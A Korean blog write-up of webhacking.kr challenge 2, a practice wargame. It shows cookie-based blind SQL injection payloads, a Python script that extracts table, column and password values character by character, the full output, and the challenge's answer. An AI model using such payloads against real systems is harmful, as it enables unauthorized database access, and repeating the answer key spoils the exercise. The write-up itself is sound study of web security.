
먼저 2번문제를 들어가면 가장 먼저 보이는 문구이다.
아무런 입력창이 없고 단순하게 저 상태로만 보인다.

F12를 눌러 개발자 도구를 켜 웹 소스코드를 보면 주석처리 되어있는 부분들이 있다.
시간이 보이고 admin.php 페이지를 들어가면 엉덩이를 차주겠다는 주석이 들어있다.
admin.php를 들어가보자

들어가보니 password를 입력할수 있는 폼이 있는 페이지가 나온다.
하지만 우린 패스워드를 모르는 상태.
sql 인젝션 문제인가 싶어서 ' or 1=1 -- 을 입력해도 입력이 틀렸다고만 나온다.

소스코드에도 딱히 아무런 힌트가 들어있지 않다.

이것저것 뒤져본 결과 time이라는 쿠키값이 들어있는것을 확인할 수 있었다.
admin페이지가 아닌 다시 index페이지로 들어가서 이 time 쿠키값을 수정해보자.
(여기서 살짝 헤매서 인터넷 도움을 받았다.)

time 쿠키값을 1로 수정하니 시간으로 나와있던 주석부분이 2070-01-01 09:00:01 로 변경되었다.
2로 수정하니 2070-01-01 09:00:02 로 변경되었다.
0으로 수정하면 결과가 거짓으로 나와 원래의 time 쿠키값으로 고정되는것을 확인.
즉 참이면 해당 결과에 맞게 시간이 바뀌고 거짓이면 원래 고정값의 time으로 결과가 바뀌는것을 확인 할 수 있었다.
즉 이 time 쿠키값을 변조해 참 거짓으로 가능한 blind sql injection을 시도해 볼 수 있다.

우선 해당 위치에 있는 DB 내의 테이블이 몇개인지 확인해보기 위해 count 구문입력
(select count(table_name) from information_schema.tables where table_schema=database());

테이블은 2개인 것을 확인할 수 있다.
첫번째 테이블의 이름 길이값을 구하기 위해 구문 입력
limit 0,1 로 0번째부터 1개까지의 행을 가져와라 라는 뜻 (첫번째 테이블로 제한하여 가져오기 위함 1,1로 하면 두번째 테이블도 알아볼 수 있음)
(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)

첫번째 테이블의 이름 길이값은 13글자 수이다.
이제 이 테이블의 이름을 알아내기 위해 구문을 써보자.
(select ascii(substr(table_name, 1, 1)) from information_schema.tables where table_schema=database() limit 0, 1);
결과는 항상 주석부분의 시간이 바뀌면서 표현이 된다. 그렇다면 이름을 알아내기 위해선 ascii를 사용해 문자를 숫자로 치환해 알아내야 한다.
따라서 ascii(substr(table_name,1,1)) 을 써서 테이블 이름의 첫번째 값을 ascii로 표현해내 무엇인지 알아낼 수 있을 것.

1:37이 나왔다 분이 아닌 초로 바꾸면 97이 나온것.
97은 ascii에서 문자 "a" 를 뜻한다.

따라서 테이블 이름의 첫번째 값은 a라는것.
나머지 부분들도 알아내기 위해 파이썬을 활용했다.
import requests
url = 'https://webhacking.kr/challenge/web-02/'
# 세션 생성
session = requests.Session()
# 고정된 세션 값
session.cookies.set('PHPSESSID', '748q21lg5q1e6cjliuodcvp12s')
# 테이블명에서 추출할 문자열의 최대 길이
max_length = 13
# 각각의 경우에 대한 결과를 저장할 딕셔너리
results = {}
for i in range(1, max_length + 1):
payload = f"(select ascii(substr(table_name, {i}, 1)) from information_schema.tables where table_schema=database() limit 0, 1);"
cookies = {'time': payload}
# 세션을 이용하여 요청 보내기
response = session.get(url, cookies=cookies)
results[i] = response.text.strip() # 결과를 딕셔너리에 저장
# 결과 출력
for key, value in results.items():
print(f"table_name, {key}, 1: {value}")
# 세션 닫기
session.close()
#=====> 코드 실행결과#
table_name, 1, 1: <!--
2070-01-01 09:01:37
-->
<h2>Restricted area</h2>Hello stranger. Your IP is logging...<!-- if you access admin.php i will kick your ass -->
table_name, 2, 1: <!--
2070-01-01 09:01:40
-->
<h2>Restricted area</h2>Hello stranger. Your IP is logging...<!-- if you access admin.php i will kick your ass -->
table_name, 3, 1: <!--
2070-01-01 09:01:49
-->
<h2>Restricted area</h2>Hello stranger. Your IP is logging...<!-- if you access admin.php i will kick your ass -->
table_name, 4, 1: <!--
2070-01-01 09:01:45
-->
<h2>Restricted area</h2>Hello stranger. Your IP is logging...<!-- if you access admin.php i will kick your ass -->
table_name, 5, 1: <!--
2070-01-01 09:01:50
-->
<h2>Restricted area</h2>Hello stranger. Your IP is logging...<!-- if you access admin.php i will kick your ass -->
table_name, 6, 1: <!--
2070-01-01 09:01:35
-->
<h2>Restricted area</h2>Hello stranger. Your IP is logging...<!-- if you access admin.php i will kick your ass -->
table_name, 7, 1: <!--
2070-01-01 09:01:37
-->
<h2>Restricted area</h2>Hello stranger. Your IP is logging...<!-- if you access admin.php i will kick your ass -->
table_name, 8, 1: <!--
2070-01-01 09:01:54
-->
<h2>Restricted area</h2>Hello stranger. Your IP is logging...<!-- if you access admin.php i will kick your ass -->
table_name, 9, 1: <!--
2070-01-01 09:01:41
-->
<h2>Restricted area</h2>Hello stranger. Your IP is logging...<!-- if you access admin.php i will kick your ass -->
table_name, 10, 1: <!--
2070-01-01 09:01:37
-->
<h2>Restricted area</h2>Hello stranger. Your IP is logging...<!-- if you access admin.php i will kick your ass -->
table_name, 11, 1: <!--
2070-01-01 09:01:35
-->
<h2>Restricted area</h2>Hello stranger. Your IP is logging...<!-- if you access admin.php i will kick your ass -->
table_name, 12, 1: <!--
2070-01-01 09:01:52
-->
<h2>Restricted area</h2>Hello stranger. Your IP is logging...<!-- if you access admin.php i will kick your ass -->
table_name, 13, 1: <!--
2070-01-01 09:01:59
-->
<h2>Restricted area</h2>Hello stranger. Your IP is logging...<!-- if you access admin.php i will kick your ass -->
PS C:\Users\user>
조합하게 되면 admin_area_pw 라는 테이블 명이 나온다.
admin pw 단어가 들어가는 것을 보니 admin의 pw가 해당 테이블에 있을것으로 유추된다.
해당 테이블의 컬럼도 똑같이 몇개있는지 알아내기 위해 count 를 또 다시 사용.
(select count(column_name) from information_schema.columns where table_name="admin_area_pw")

컬럼 갯수는 1개이다. 해당 컬럼의 이름도 똑같이 길이값을 알아내보자.
(select length(column_name) from information_schema.columns where table_name="admin_area_pw")

2글자 인 것을 확인.
똑같이 이름도 알아내보자.
(select ascii(substr(column_name,1,1)) from information_schema.columns where table_name="admin_area_pw")


조합한다면 pw 가 나온다. 컬럼의 이름은 "pw" 인것.
똑같이 이 컬럼내의 있는 값을 추출해내기 위해 구문을 입력하자.
(select length(pw) from admin_area_pw)

17자 인것을 확인.
파이썬 코드를 활용해 17자의 값을 알아내보자.
아까 짠 파이썬 코드에서 payload 변수의 내용만 손봐주면 된다.
import requests
url = 'https://webhacking.kr/challenge/web-02/'
# 세션 생성
session = requests.Session()
# 고정된 세션 값
session.cookies.set('PHPSESSID', '748q21lg5q1e6cjliuodcvp12s')
# 테이블명에서 추출할 문자열의 최대 길이
max_length = 13
# 각각의 경우에 대한 결과를 저장할 딕셔너리
results = {}
for i in range(1, max_length + 1):
payload = f"(select ascii(substr(pw, {i},1)) from admin_area_pw);"
cookies = {'time': payload}
# 세션을 이용하여 요청 보내기
response = session.get(url, cookies=cookies)
results[i] = response.text.strip() # 결과를 딕셔너리에 저장
# 결과 출력
for key, value in results.items():
print(f"table_name, {key}, 1: {value}")
# 세션 닫기
session.close()
나오는 아스키코드 값을 문자로 치환한다면
kudos_to_beistlab
이 값을 처음에 들어갔던 admin.php 에 입력하자.


해결!
'webhacking.kr 정리' 카테고리의 다른 글
webhacking.kr 01번 문제 (1) | 2024.06.13 |
---|